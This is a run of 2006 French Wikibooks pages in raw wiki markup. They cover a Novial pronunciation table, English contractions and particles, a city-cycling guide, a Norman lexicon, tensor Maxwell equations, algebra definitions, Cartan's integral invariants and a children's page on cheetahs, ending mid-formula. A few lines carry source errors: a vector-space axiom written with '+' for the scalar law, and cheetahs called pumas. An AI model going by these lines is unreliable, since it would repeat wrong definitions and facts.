[[Novial_:_Lektione 20|§ 20]] - [[Novial_:_Lektione 21|§ 21]] - [[Novial_:_Lektione 22|§ 22]] - [[Novial_:_Lektione 23|§ 23]] - [[Novial_:_Lektione 24|§ 24]] - [[Novial_:_Lektione 25|§ 25]] - [[Novial_:_Lektione 26|§ 26]] - [[Novial_:_Lektione 27|§ 27]] - [[Novial_:_Lektione 28|§ 28]] - [[Novial_:_Lektione 29|§ 29]] - [[Novial_:_Lektione 30|§ 30]] - [[Novial_:_Lektione 31|§ 31]] - <small>[[Novial_:_Lektione 32|§ 32]] - [[Novial_:_Lektione 33|§ 33]] - [[Novial_:_Lektione 34|§ 34]] - [[Novial_:_Lektione 35|§ 35]] - [[Novial_:_Lektione 36|§ 36]] - [[Novial_:_Lektione 37|§ 37]] - [[Novial_:_Lektione 38|§ 38]] - [[Novial_:_Lektione 39|§ 39]]</small> ------------------------------------------------------------------------- ==Lektione 1== {|border = 0 cellpadding = 3 cellspacing = 2 bgcolor = "#FFFFFF"| |- |style = "background: #66CCFF;"| |style = "background: #66CCFF;"| [[w:International Phonetic Alphabet|API]] |style = "background: #66CCFF;" | Exemple |- |style = "background: #CCCCFF;"|A |style = "background: #CCCCFF;"|[[w:API_a|a]] |style = "background: #CCCCFF;"|<center>abandona |- |style = "background: #CCCCFF;"|B |style = "background: #CCCCFF;"|[[w:API_b|b]] |style = "background: #CCCCFF;"|bebe |- |style = "background: #CCCCFF;"|C |style = "background: #CCCCFF;"|[[w:API_s|s]] o [[w:API_k|k]] |style = "background: #CCCCFF;"|Caracas |- |style = "background: #CCCCFF;"|CH |style = "background: #CCCCFF;"|[[w:API_ʧ|ʧ]] o [[w:API_ʃ|ʃ]] |style = "background: #CCCCFF;"|chanse |- |style = "background: #CCCCFF;"|D |style = "background: #CCCCFF;"|[[w:API_d|d]] |style = "background: #CCCCFF;"|defini |- |style = "background: #CCCCFF;"|E |style = "background: #CCCCFF;" |[[w:API_e|e]] o [[w:API_ɛ|ɛ]] |style = "background: #CCCCFF;"|egal |- |style = "background: #CCCCFF;"|F |style = "background: #CCCCFF;"|[[w:API_f|f]] |style = "background: #CCCCFF;"|fala |- |style = "background: #CCCCFF;"|G |style = "background: #CCCCFF;"|[[w:API_g|g]] |style = "background: #CCCCFF;"|garda |- |style = "background: #CCCCFF;"|H |style = "background: #CCCCFF;"|[[w:API_h|h]] |style = "background: #CCCCFF;"|helpa |- |style = "background: #CCCCFF;"|I |style = "background: #CCCCFF;"|[[w:API_i|i]] |style = "background: #CCCCFF;"|impeda |- |style = "background: #CCCCFF;"|J |style = "background: #CCCCFF;"|[[w:API_ʤ|ʤ]] o [[w:API_ʒ|ʒ]] |style = "background: #CCCCFF;"|jirafe |- |style = "background: #CCCCFF;"|K |style = "background: #CCCCFF;"|[[w:API_k|k]] |style = "background: #CCCCFF;"|kioske |- |style = "background: #CCCCFF;"|L |style = "background: #CCCCFF;"|[[w:API_l|l]] |style = "background: #CCCCFF;"|lande |- |style = "background: #CCCCFF;"|M |style = "background: #CCCCFF;"|[[w:API_m|m]] |style = "background: #CCCCFF;"|magnetisa |- |style = "background: #CCCCFF;"|N |style = "background: #CCCCFF;"|[[w:API_n|n]] |style = "background: #CCCCFF;"|nature |- |style = "background: #CCCCFF;"|O |style = "background: #CCCCFF;"|[[w:API_o|o]] o [[w:API_ɒ|ɒ]] |style = "background: #CCCCFF;"|observa |- |style = "background: #CCCCFF;"|P |style = "background: #CCCCFF;"|[[w:API_p|p]] |style = "background: #CCCCFF;"|papa |- |style = "background: #CCCCFF;"|QU |style = "background: #CCCCFF;"|[[w:API_k|k]][[w:API_w|w]] o [[w:API_k|k]][[w:API_v|v]] o [[w:API_k|k]][[w:API_u|u]] |style = "background: #CCCCFF;"|questione |- |style = "background: #CCCCFF;"|R |style = "background: #CCCCFF;"|[[w:API_r|r]] o [[w:API_&#633;|&#633;]] |style = "background: #CCCCFF;"|rapid |- |style = "background: #CCCCFF;"|S |style = "background: #CCCCFF;"|[[w:API_s|s]] or [[w:API_z|z]] |style = "background: #CCCCFF;"|sune |- |style = "background: #CCCCFF;"|SH |style = "background: #CCCCFF;"|[[w:API_ʃ|ʃ]] o [[w:API_ʧ|ʧ]] |style = "background: #CCCCFF;"|shuta |- |style = "background: #CCCCFF;"|T |style = "background: #CCCCFF;"|[[w:API_t|t]] |style = "background: #CCCCFF;"|teknike |- |style = "background: #CCCCFF;"|U |style = "background: #CCCCFF;"|[[w:API_u|u]] |style = "background: #CCCCFF;"|unik |- |style = "background: #CCCCFF;"|V |style = "background: #CCCCFF;"|[[w:API_v|v]] |style = "background: #CCCCFF;"|variatione |- |style = "background: #CCCCFF;"|W |style = "background: #CCCCFF;"|[[w:API_w|w]] o [[w:API_u|u]] o [[w:API_v|v]] |style = "background: #CCCCFF;"|watt |- |style = "background: #CCCCFF;"|X |style = "background: #CCCCFF;"|[[w:API_k|k]][[w:API_s|s]] o [[w:API_g|g]][[w:API_z|z]] |style = "background: #CCCCFF;"|auxiliari |- |style = "background: #CCCCFF;"|Y |style = "background: #CCCCFF;"|[[w:API_j|j]] |style = "background: #CCCCFF;"|yuna |- |style = "background: #CCCCFF;"|Z |style = "background: #CCCCFF;"|[[w:API_z|z]] o [[w:API_s|s]] |style = "background: #CCCCFF;"|Suez |} Rêve Lucide 8391 42870 2006-05-20T11:53:21Z Greudin 1 [[Rêve Lucide]] déplacé vers [[Rêve lucide]]: err #REDIRECT [[Rêve lucide]] Image:Test words K.ogg 8393 42900 2006-05-20T19:30:47Z Mly 1518 Example de ce que pourrais donner une liste de vocabulaire en anglais, fait par moi donc libre. Ceci n'est qu'un exemple destiné : 1) à montrer au anglophone l'idée générale 2) à tester l'integration de son dans le wiki. Il pourra être supprimé lo Example de ce que pourrais donner une liste de vocabulaire en anglais, fait par moi donc libre. Ceci n'est qu'un exemple destiné : 1) à montrer au anglophone l'idée générale 2) à tester l'integration de son dans le wiki. Il pourra être supprimé lorsque des cotributeur anglophone auront pris le relais. Anglais : Faire des courses 8397 45689 2006-06-25T06:58:53Z Guillaumito 46 correction double redirection #REDIRECT [[Shopping : Les Achats]] Shopping : ''Les Achats'' 8398 42958 2006-05-22T05:01:16Z Mly 1518 [[Shopping : ''Les Achats'']] déplacé vers [[Shopping : Les Achats]] #REDIRECT [[Shopping : Les Achats]] Anglais: Les contractions 8399 43027 2006-05-23T08:26:53Z Mly 1518 {| align="left" | __TOC__ |} == auxiliaire ''BE'' == === forme affirmative (+) === {| border="0" width="300" |I am ||I'm |- |he is||he's |- |we are||we're |} === forme négative (-) === {| border="0" width="300" |I am not||I'm not |- |he is not||he isn't |- |||he's not |- |we are not||we aren't |- |I was not ||I wasn't |- |we were not||we weren't |} === forme interro-négative (?-) === {| border="0" width="300" |am I not ? ||aren't I ? ''(populaire)'' |- |||ain't I ? ''(populaire)'' |- |is he not ?||isn't he ? |- |are we not ?||aren't we ? |- |was I not ?||wasn't I ? |- |were we not ?||weren't we ? |} == auxiliaire ''HAVE'' == === forme affirmative (+) === {| border="0" width="300" |I have ||I've |- |he has||he's |- |we have||we've |- |I had||I'd |} === forme négative (-) === {| border="0" width="300" |I have not ||I haven't |- |he has not||he hasn't |- |we have not||we haven't |- |I had not||I hadn't |} === forme interro-négative (?-) === {| border="0" width="300" |have I not ?||haven't I ? |- |has he not ?||hasn't he ? |- |have we not ?||haven't we ? |- |had I not ?||hadn't I ? |} == auxiliaire ''DO'' == ===forme négative (-)=== {| border="0" width="300" |I do not ||I don't |- |he does not||he doesn't |- |he did not|he didn't |} ===forme interro-négative (?-)=== {| border="0" width="300" |do I not ?|| don't I ? |- |does he not ?||doesn't he ? |- |did he not ?|didn't he ? |} == auxiliaire ''SHALL / WILL'' == ===forme affirmative (+)=== {| border="0" width="300" |I shall ||I'll |- |he will||he'll |} ===forme négative (-)=== {| border="0" width="300" |I shall not ||I shan't |- |he will not||he won't |} ===forme interro-négative (?-)=== {| border="0" width="300" |shall I not ?||shan't I ? |- |will he not ?||won't he ? |} == auxiliaire ''SHOULD / WOULD'' == ===forme affirmative (+)=== {| border="0" width="300" |I should ||I'd |- |he would||he'd |- |I should have||I should've |- |he would have||he would've |} ===forme négative (-)=== {| border="0" width="300" |I should not||I shouldn't |- |he would not||he wouldn't |- |I should not have||I shouldn't have |- |he would not have||he wouldn't have |} ===forme interro-négative (?-)=== {| border="0" width="300" |should I not ?||shouldn't I ? |- |would he not ?||wouldn't he ? |- |should I not have ?||shouldn't I have ? |- |would he not have ?||wouldn't he have ? |} == auxiliaire ''CAN''== ===forme négative (-)=== {| border="0" width="300" |I cannot ||I can't |} ===forme interro-négative (?-)=== {| border="0" width="300" |can I not ? ||can't I ? |} == auxiliaire ''COULD''== ===forme négative (-)=== {| border="0" width="300" |I could not ||I couldn't |} ===forme interro-négative (?-)=== {| border="0" width="300" |could I not ? ||couldn't I ? |} == auxiliaire ''MUST''== ===forme négative (-)=== {| border="0" width="300" |I must not ||I mustn't |} ===forme interro-négative (?-)=== {| border="0" width="300" |must I not ? ||mustn't I ? |} == auxiliaire ''MIGHT''== ===forme négative (-)=== {| border="0" width="300" |I might not ||I mightn't |} ===forme interro-négative (?-)=== {| border="0" width="300" |might I not ? ||mightn't I ? |} Guide du vélo en ville 8401 45416 2006-06-22T19:52:45Z Emmanuel legrand 1668 /* Articles Wikipedia en relation */ ortho Circuler à vélo en ville : quelques conseils pour se lancer en toute sécurité {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci de les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. == Présentation == Économique, écologique, bon pour le moral et pour ta santé, essayer le vélo pour tes déplacements en ville, c'est l'adopter ! Le vélo a sa place dans la circulation. C'est un droit, mais qui ne sera pas toujours respecté ! Il faut donc être le plus prudent possible. Pédaler en sécurité en ville ne repose pas sur la chance ou le comportement des automobilistes et autres usagers de la rue. Cela dépend d'abord de ton attitude, de ta manière de conduire ton propre véhicule. En restant maître de ta trajectoire, attentif à tout ce qui pourrait subvenir... L'objectif de ce guide, se voulant le plus court et clair possible : te permettre de rouler en toute confiance dans la circulation urbaine, que tu sois débutant ou déjà expérimenté. ==Articles Wikipedia en relation== {{Wikipédia|Cyclisme urbain}} wikilivre en anglais sur le vélo : http://en.wikibooks.org/wiki/Bicycles == Table des matières == #[[Guide du vélo en ville/Pourquoi faire du vélo en ville ?|Pourquoi faire du vélo en ville ?]] #[[Guide du vélo en ville/Une question d'équipement|Une question d'équipement]] #[[Guide du vélo en ville/Démarrer, s’arrêter, virez : ça s'apprend aussi !|Démarrer, s’arrêter, virez : ça s'apprend aussi !]] #[[Guide du vélo en ville/Où se placer sur la route ?|Où se placer sur la route ?]] #[[Guide du vélo en ville/Que faire aux intersections ?|Que faire aux intersections ?]] #[[Guide du vélo en ville/Roulez sous la pluie, dans l'obscurité|Roulez sous la pluie, dans l'obscurité]] #[[Guide du vélo en ville/Comment se sortir de toutes les situations difficiles ?|Comment se sortir de toutes les situations difficiles ?]] #[[Guide du vélo en ville/En savoir plus|En savoir plus]] #[[Guide du vélo en ville/Annexe 1: prévenir le vol|Annexe 1: prévenir le vol]] Guide du vélo en ville | [[Guide du vélo en ville/Pourquoi faire du vélo en ville ?|Pourquoi faire du vélo en ville ? >>]] Langue normande/Les temps qui passe 8403 44458 2006-06-13T05:23:58Z 213.133.215.52 lexique *eune s'gonde *eune minnute *un quart d'heuthe *eune démi-heuthe *trais quarts d'heuthe *eune heuthe *lé matîn *l'arlévée *lé sé *la séthée *à matîn *à ch't' arlévée *à ces sé *aniet *hièr *avant-hièr *d'main *achteu *hièr au sé *hièr au matîn *d'main au sé Anglais: Les verbes composés 8405 43075 2006-05-24T07:19:24Z Mly 1518 == Index des particules == === Sens général === {| border="0" width="200" |aback||''vers l'arrière |- |aboard||''à bord'' |- |about||''autour, au sujet de'' |- |above||''au-dessus'' |- |abreast||''au même niveau'' |- |abroad||''à l'étranger'' |- |across||''à travers'' |- |adrift||''à la dérive'' |- |after||''après'' |- |against||''contre'' |- |aground||''vers le sol'' |- |ahead||''vers l'avant'' |- |aloft||''à une grande hauteur'' |- |along||''le long de'' |- |among||''parmi'' |- |apart||''séparation'' |- |around||''autour, environ'' |- |as||''comme, en tant que'' |- |aside||''sur le côté'' |- |astray||''hors du droit chemin'' |- |astride||''à califourchon'' |- |at||''position'' |- |away||''éloignement'' |- |back||''vers l'arrière'' |- |backwards||''en arrière'' |- |before||''avant'' |- |behind||''derrière'' |- |below||''en dessous'' |- |beneath||''en dessous'' |- |beside||''à côté'' |- |between||''entre'' |- |beyond||''au-delà'' |- |by||''près de'' |- |down||''vers le bas'' |- |for||''destination, désir'' |- |forth||''vers l'avant'' |- |forward(s)||''vers l'avant'' |- |from||''provenance'' |- |home||''chez soi'' |- |in||''à l'interieur'' |- |into||''vers l'interieur'' |- |like||''come'' |- |near||''près de'' |- |off||''éloignement'' |- |on||''sur (position)'' |- |onto||''sur (mouvement)'' |- |out, out of||''à/vers l'exterieur'' |- |outside||''à l'exterieur'' |- |over||''au dessus'' |- |past||''près de, au-delà (mouvement)'' |- |round||''autour, environ'' |- |through||''à travers'' |- |to||''direction'' |- |together||''ensemble'' |- |under||''sous'' |- |up||''vers le haut'' |- |upon||''sur'' |- |with||''avec'' |- |within||''à l'interieur'' |- |without||''hors de, sans'' |} Calcul tensoriel/Électromagnétisme/Équations de Maxwell (écriture duale) 8410 43598 2006-05-31T12:19:08Z Fapae 1199 /* expression des tenseurs électromagnétiques */ ajout j^k ==== équations de Maxwell, formules topologiques ==== Les équations de Maxwell peuvent être écrites dans tout système de coordonnées sous la forme :<math>\mathcal{F}^{ik}{}_{;i} = 0^k</math> :<math>{G_{}}^{ik}{}_{;i} = 0^k</math> où <math>\mathcal{F}^{ik}</math> et <math>{G_{}}^{ik}</math> sont des tenseurs antisymétriques décrivant le champ électromagnétique. La première équation correspond au premier groupe des équations de Maxwell et la seconde équation correspond au second groupe. Le tenseur <math>\mathcal{F}^{ik}</math> est le tenseur dual du tenseur <math>{F_{}}_{ik}</math> de composantes <math>\mathbf{E}, \mathbf{B}</math> : :<math>\mathcal{F}^{ik} = \frac{1}{2} \; *^{iklm} F_{lm}</math> Le tenseur <math>{G_{}}^{ik}</math> contient à la fois le tenseur antisymétrique de composantes <math>\mathbf{-D}, \mathbf{H}</math>, les charges et les courants. Ces équations ne sont rien de plus que des équations topologiques affirmant que le flux du champ électromagnétique à travers une hypersurface fermée de l'espace temps quadridimensionnel est nul. Il manque les équations constitutives reliant les deux tenseurs. ==== quadrivecteur charge-courant ==== Les expériences physiques montrent que le champ électromagnétique est linéaire, à condition d'éliminer ou de figer les charges. Cela nous conduit à écrire <math>{G}^{ik}</math> comme somme d'un terme linéaire <math>{G_L}^{ik}</math> et d'un terme non linéaire <math>{G_{NL}}^{ik}</math> : :<math>{G}^{ik} = {G_L}^{ik} + {G_{NL}}^{ik}</math>. En définissant le quadrivecteur charge-courant comme la quadri-divergence de la partie non linéaire du tenseur <math>{G}^{ik} = </math> : :<math>{j}^{k} = {G_{NL}}^{ik}{}_{;i}</math> et l'équation correspondant au second groupe des équations de Maxwell devient :<math>{G_L}^{ik}{}_{;i} = -j^k</math> Comme la double dérivée covariante d'un tenseur antisymétrique est nulle, on a <math>{G_L}^{ik}{}_{;i;k} = 0</math> et donc :<math>j^k{}_{;k} = 0</math> Cette équation correspond à la loi de conservation de la charge. ==== équation constitutive du vide ==== L'équation constitutive reliant la partie linéaire de <math>{G}^{ij}</math> et <math>{F}_{ik}</math> est simplement :<math>{G_L}^{ik} = \frac{1}{\mu_0} F^{ik}</math> avec <math>\mu_0 = 4 \pi 10^{-7}</math> (SI). ==== écriture traditionnelle des équations de Maxwell ==== Le second groupe d'équations de Maxwell peut finalement s'écrire sous la forme traditionnelle :<math>{F_{}}^{ik}{}_{;i} = -\mu_0 j^{k}</math> Avec le même tenseur <math>{F_{}}^{ik}</math>, le premier groupe s'écrit :<math>*^{ik}{}_{lm}{F_{}}^{lm}{}_{;i} = *^{iklm}F_{lm}{}_{;i} = 0^{k}</math> ==== expression des tenseurs électromagnétiques ==== Pour un tenseur métrique diagonal <math>(-c^2, 1, 1, 1)</math>, les tenseurs électromagnétiques s'écrivent :<math>F_{ik} = \begin{pmatrix} 0 & -E_x & -E_y & -E_z\\ E_x & 0 & B_z & -B_y \\ E_y & -B_z & 0 & B_x \\ E_z & B_y & -B_x & 0 \end{pmatrix} </math> :<math>F^{ik} = \begin{pmatrix} 0 & E_x/c^2 & E_y/c^2 & E_z/c^2\\ -E_x/c^2 & 0 & B_z & -B_y \\ -E_y/c^2 & -B_z & 0 & B_x \\ -E_z/c^2 & B_y & -B_x & 0 \end{pmatrix} </math> :<math>{G_L}^{ik} = \begin{pmatrix} 0 & D_x & D_y & D_z\\ -D_x & 0 & H_z & -H_y \\ -D_y & -H_z & 0 & H_x \\ -D_z & H_y & -H_x & 0 \end{pmatrix} </math> :<math>i c \mathcal{F}^{ik} = \begin{pmatrix} 0 & B_x & B_y & B_z\\ -B_x & 0 & -E_z & E_y \\ -B_y & E_z & 0 & -E_x \\ -B_z & -E_y & E_x & 0 \end{pmatrix} </math> :<math>{G_L}_{ik} = \begin{pmatrix} 0 & -c^2 D_x & c^2 D_y & c^2 D_z\\ c^2 D_x & 0 & H_z & -H_y \\ c^2 D_y & -H_z & 0 & H_x \\ c^2 D_z & H_y & -H_x & 0 \end{pmatrix} </math> :<math>i c {\mathcal{G}_L}^{ik} = \begin{pmatrix} 0 & H_x & H_y & H_z\\ -H_x & 0 & -c^2 D_z & c^2 D_y \\ -H_y & c^2 D_z & 0 & -c^2 D_x \\ -H_z & -c^2 D_y & c^2 D_x & 0 \end{pmatrix} </math> :<math> j^k = \begin{pmatrix} \rho & j_x & j_y & j_z \end{pmatrix} </math> Algèbre:Groupe 8412 43162 2006-05-26T09:14:04Z Barbichette 1566 création Soit E un [[ensemble]] non vide et + une [[loi interne]]. Le couple (E, + ) est un groupe si * + est une [[loi interne]] sur E * + est [[associativité|associative]], c'est-à-dire que quels que soient x, y et z appartenant à E, '''(x + y) + z = x + (y + z)''' * + possède un [[élément neutre]], c'est-à-dire qu'il existe e, tel que '''e + x = x + e = x''' * tout élément de E possède un symétrique dans E, c'est-à-dire qu'il existe x et y tels que '''x + y = y + x = e''', où e est l'élément neutre de E. Si la loi interne est commutative, c'est-à-dire que pour tout x et y de E, '''x + y = y + x''', le groupe est dit [[abélien]] (ou commutatif) Algèbre:Anneau 8413 43170 2006-05-26T09:53:41Z Barbichette 1566 modif lien Un anneau est un [[Algèbre:Groupe|groupe]] [[commutativité|commutatif]] (E, +) muni d'une deuxième [[loi interne]] * qui est [[associativité|associative]], [[distributivité|distributive]] par rapport à la première et qui possède un [[élément neutre]]. Cet anneau est noté (E, + , *). Algèbre:Espace vectoriel 8414 43658 2006-05-31T20:09:04Z 82.246.172.103 Soit un ensemble E non vide. Soit K un [[Algèbre:Corps|corps]]. On munit l'ensemble E d'une [[loi interne]] + et d'une [[loi externe]] ¤ de sorte que : * (E, +) est un [[Algèbre:Groupe|groupe]] commutatif, * la [[loi interne]] vérifie : ** quel que soit le nombre n appartenant à K, quels que soient x et y appartenant à E, '''n ¤ (x + y) = (n ¤ x) + (n + y)''' ** quels que soient n et m appartenant à K, quel que soit x appartenant à E, '''(n + m) ¤ x = (n ¤ x) + (m ¤ x)''' ** quels que soient n et m appartenant à K, quel que soit x appartenant à E, '''n ¤ (m ¤ x) = (n ¤ m) ¤ x''' ** quel que soit x appartenant à E, '''1 ¤ x = x''' Le triplet (E, + , ¤) s'appelle un espace vectoriel. Les éléments de E s'appellent des vecteurs. En réalité, les axiomes précédents sont "calqués" sur les règles géométriques que l'on observe sur les vecteurs du plan ou de l'espace, c'est ce qui justifie l'appellation d'espace vectoriel. Invariants intégraux/Cartan1922/001 8416 43220 2006-05-26T13:16:38Z Fapae 1199 [[Invariants Intégraux/Cartan1922/001]] déplacé vers [[Invariants intégraux/Cartan1922/001]]: erreur de renommage (Int -> int) Pour un point matériel de masse <math>m</math> dans un potentiel <math>V</math>, l'action élémentaire sur un intervalle de temps <math>dt</math> est définie par : <math>dS = \left(T-V\right)dt</math> différence de l'énergie cinétique <math>T</math> et de l'énergie potentielle <math>V</math> fois l'intervalle de temps. Soient <math>x, y, z</math> les coordonnées orthonormales du point, <math>\dot{x}, \dot{y}, \dot{z}</math> les composantes de sa vitesse. L'action entre les instants <math>t_0</math> et <math>t_1</math> est l'intégrale : <math>S = \int_{t_0}^{t_1}\left(\frac{1}{2} m \left(\dot{x}^2 + \dot{y}^2 + \dot{z}^2\right)-V(x, y, z)\right)dt</math> L'action peut être calculée sur la trajectoire réellement suivie par le point matériel entre les instants <math>t_0</math> et <math>t_1</math>, mais aussi sur une trajectoire infiniment voisine <math>x(t) + \delta x(t), y(t) + \delta y(t), z(t) + \delta z(t)</math>. On suppose dans cette section que les points de départ et les points d'arrivée restent inchanchés : : <math>0 = \delta x(t_0) = \delta y(t_0) = \delta z(t_0) = \delta x(t_1) = \delta y(t_1) = \delta z(t_1)</math> La variation de l'action entre ces deux trajectoires vaut : <math>\delta S = \int_{t_0}^{t_1}\left( m \left(\dot{x} \delta \dot{x} + \dot{y} \delta \dot{y} + \dot{z} \delta \dot{z}\right)- \frac{\partial V}{\partial x} \delta x + \frac{\partial V}{\partial y} \delta y + \frac{\partial V}{\partial z} \delta z \right)dt</math> Au mème instant, et pendant un intervalle de temps <math>dt</math>, on a une coordonnée qui passe de <math>x</math> à <math>x + \dot{x} dt</math> sur une trajectoire et de <math>x + \delta x</math> à <math>x + \delta x + \dot{x} dt + \frac{d \left(\delta x\right)}{dt} dt</math> sur l'autre. On a donc <math>\delta \dot{x} = \frac{d \left(\delta x\right)}{dt}</math>, ce qui nous permet d'intégrer : <math>\int_{t_0}^{t_1} \dot{x} \delta \dot{x} dt = \int_{t_0}^{t_1} \dot{x} d \left(\delta x\right) = \dot{x} \delta x |_{t_0}^{t_1} - \int_{t_0}^{t_1} \ddot{x} \delta x dt</math> Comme <math>\delta x</math> est supposé nul en <math>t_0</math> et <math>t_1</math>, il ne reste que le second terme, que l'on peut introduire dans le calcul de la variation de l'action : : <math>\delta S = - \int_{t_0}^{t_1}\left( \left(m \ddot{x} + \frac{\partial V}{\partial x} \right) \delta x + \left(m \ddot{y} + \frac{\partial V}{\partial y} \right) \delta y + \left(m \ddot{z} + \frac{\partial V}{\partial z} \right) \delta z \right)dt</math> Il est équivalent d'écrire que l'action est extrémale pour une variation quelconque de la trajectoire sauf aux extrémités (principe de la "moindre" action de Hamilton), que <math>\delta S</math> est nul, et que l'on a les équations de la dynamique : <math>m \ddot{x} = - \frac{\partial V}{\partial x}</math> : <math>m \ddot{y} = - \frac{\partial V}{\partial y}</math> : <math>m \ddot{z} = - \frac{\partial V}{\partial z}</math> Wikijunior:Les félins/Les guépards 8417 43240 2006-05-26T14:40:24Z Boly38 136 /* Classification */ +1 {{Les félins}} ==Les guépards== [[Image:Guepard amneville.JPG|thumb|left|Photo d'un guépard du zoo d'Amnéville]] Les guépards sont bâtis pour la vitesse, avec des longues jambes, une épine dorsale à la forme d'un fouet terminant par une longue queue qui agit en tant que gouvernail de direction pour des tours soudains. Le guépard est l'animal terrestre le plus rapide du monde; Il est capable d'un sprint jusqu'à 110 km/h pour des distances très courtes à la poursuite d'une proie. Pour cette raison, et parce qu'ils sont aimés des humains, des guépards grandissent en captivité (retenu par l'Homme). Ils sont également connus comme léopards de chasse. {{clr}} ===Où vivent-ils ?=== [[Image:cheetah range.png|thumb|left|Lieux de vie des guépards (en vert).]] Aujourd'hui, la plupart des guépards sont en Afrique sub-saharienne (appelée également ''Afrique Noire'', cette région est à mettre en opposition avec l'Afrique du Nord, elle est limitée au Sud par le Sahara). Toutefois, quelques uns sont encore vus en Iran. Dans le passé, ils étaient également présents dans le nord de l'Inde et de l'Iran. Ils préfèrent vivre dans des régions pratiquement désertiques, la savanne, les prairies, et dans les broussailles épaisses. Puisqu'ils comptent sur la vitesse pour chasser, ils évitent les forêts denses. Des efforts doivent être fait afin d'éviter que le guépard soit ajouté à la liste des espèces en danger. {{clr}} ===A quoi ressemblent-ils ?=== [[Image:Cheetah in Kenya.jpg|thumb|right|Un guépard du Kenya]] Les guépards sont des gros chats de la taille moyenne d'un chien. Ils comportent des tâches rondes foncées sur leur fourrure, de longues jambes et un corps maigre. Ils ont un ventre blanc et une raie foncée qui ressemble à une larme de chaque côté de leur visage. Les guépards adultes pèsent entre 40 et 65 kilogrammes, et mesurent entre 1,8 et 2,3 mètres de longueur totale (la queue mesure de 0,7 à 0,8 m). Ils sont bâtis pour être les meilleurs coureurs. Ils ont une grande poitrine, une taille étroite, et des jambes de derrière puissantes. Ils ont une petite tête et un petit museau, de grandes narines pour obtenir facilement de l'oxygène, et de petites oreilles rondes. Tout ceci fait que cet animal est agile et aérodynamique quand il court (c'est-à-dire que son corps s'insère bien dans l'air à grande vitesse). {{clr}} ===Que mangent les guépards et comment chassent-ils ?=== Les guépards mangent la plupart du temps des mammifères comme des gazelles, l'impala, (gnu calves ?), et les lièvres, qui sont tous de taille à peu près identique ou plus petite qu'un guépard d'adulte. Le guépard se rapproche de sa proie jusqu'à ce qu'il soit très près (à environ trente mètres), et seulement alors, il attaque ! La chasse doit durer peu de temps (moins d'une minute). S'il n'arrive pas à attraper sa proie rapidement, le guépard préfère abandonner, plutôt que de gaspiller de l'energie. En effet, c'est parce que les guépards utilisent beaucoup d'énergie en chassant leur proie à grande vitesse. Environ une chasse sur deux est un succès. Les guépards doivent manger le résultat de leur chasse rapidement, car ils risquent de perdre leur nourriture si d'autres prédateurs plus forts surviennent. Le guépard ne combattra pas un animal plus fort ou plus grand que lui de peur de se faire blesser. Il ne pourrait alors plus chasser, et risquerait de manquer de nourriture. Les guépards sont bien adaptés à des environnements arides (sans eau). Dans le désert de Kalahari, il a été estimé à environ 82 km la distance entre deux points où l'on peut trouver de l'eau. Ils ont été vus en train obtenir leur eau du sang ou de l'urine de leur proie, ou en mangeant des melons de tsama.<!-- phrase à vérifier--> ===Comment les guépards éduquent-ils leurs petits ?=== [[Image:Cheetahcub.jpg|thumb|right|Un bébé guépard]] Les femelles font naître entre 3 et 5 bébés à chaque fois. Beaucoup de petits sont tués par un manque de nourriture ou par leurs ennemis (les lions et les hyènes). Une vieille légende africaine dit que les tâches en forme de larmes sur le visage signifient que la mère pleure les petits qu'elle a perdu. La maman doit éduquer ses petits pour qu'ils puissent survivre. Elle leur apprend à chasser et donc à se procurer de la nourriture tout seul. Les petits guépards quittent leur mère à environ un ou deux ans, et vivront, en général, dans des groupes de deux ou de trois, jusqu'à atteindre l'âge adulte. Les femelles guépard vont vivre de leur côté, mais des guépards frère vivront ensemble et partageront leur chasse pour survivre. ===Faits amusants=== Voyez comment vous connaissez le mammifère de la terre le plus rapide du monde : * après une course à toute vitesse, un guépard doit se reposer au moins 15 minutes avant de courir à nouveau, * les guépards ne rugissent pas, mais ils font un certain nombre de bruits très différents des autres félins, dont beaucoup ressemblent à des gazouillements d'oiseau, * (à traduire : Cheetahs were leopards before leopards were. The word "leopard" is latin for a cross between a lion and an African leopard, something cheetahs were once thought to be. The name outlived the theory, and now is used for the wrong cat.) ===Classification=== Les pumas font partie de l'ordre des [[wikipedia:fr:Carnivora|Carnivores]], de la famille des [[wikipedia:fr:Felidae|Félidés]], et ont un nom scentifique (à dormir debout) : [[wikipedia:fr:Acinonyx jubatus|Acinonyx jubatus]]. ===Plus d'informations=== * [[wikipedia:fr:Guépard|Wikipédia: Guépard]] [[en:Wikijunior Big Cats/Cheetah]] [[de:Wikijunior Großkatzen/ Gepard]] Invariants intégraux/Cartan1922/002 8418 43213 2006-05-26T13:09:43Z Fapae 1199 [[InvInt/002]] déplacé vers [[Invariants intégraux/Cartan1922/002]]: nommage plus explicite Par rapport à la [[InvInt/001|section précédente]], on permet que la trajectoire différe aux extrémités, en position aussi bien spatiale que temporelle. À la variation <math>\delta S</math> déja calculée, il faut rajouter le terme : <math> \left(\frac{1}{2} m \left(\dot{x}^2_1 + \dot{y}^2_1 + \dot{z}^2_1\right) - V_1\right) \delta t_1 - \left(\frac{1}{2} m \left(\dot{x}^2_0 + \dot{y}^2_0 + \dot{z}^2_0\right) - V_0\right) \delta t_0 </math> ainsi que le terme : <math>m \left( \dot{x} \delta x + \dot{y} \delta y + \dot{z} \delta z\right)|_{t_0}^{t_1}</math> Pour calculer ce terme, on remarque que la variation de l'extrémité <math>\delta x_1</math> est la somme de la variation de la trajectoire <math>\delta x |_{t_1}</math> et de <math>\dot{x}_1 \delta t_1</math>, et par suite : <math>\dot{x} \delta x |_{t_0}^{t_1} = \dot{x}_1 \left(\delta x_1 - \dot{x}_1 \delta t_1\right) - \dot{x}_0 \left(\delta x_0 - \dot{x}_0 \delta t_0\right) </math> On peut finalement écrire : <math> \delta S = \omega_\delta |_0^1 - \int_{t_0}^{t_1}\left( \left(m \ddot{x} + \frac{\partial V}{\partial x} \right) \delta x + \left(m \ddot{y} + \frac{\partial V}{\partial y} \right) \delta y + \left(m \ddot{z} + \frac{\partial V}{\partial z} \right) \delta z \right)dt </math> avec <math> \omega_\delta = m \dot{x} \left(\delta x - \dot{x} \delta t\right) + m \dot{y} \left(\delta y - \dot{y} \delta t\right) + m \dot{z} \left(\delta z - \dot{z} \delta t\right) + \left(\frac{1}{2} m \left(\dot{x}^2 + \dot{y}^2 + \dot{z}^2\right) - V\right) \delta t </math> ou : <math> \omega_\delta = m \dot{x} \delta x + m \dot{y} \delta y + m \dot{z} 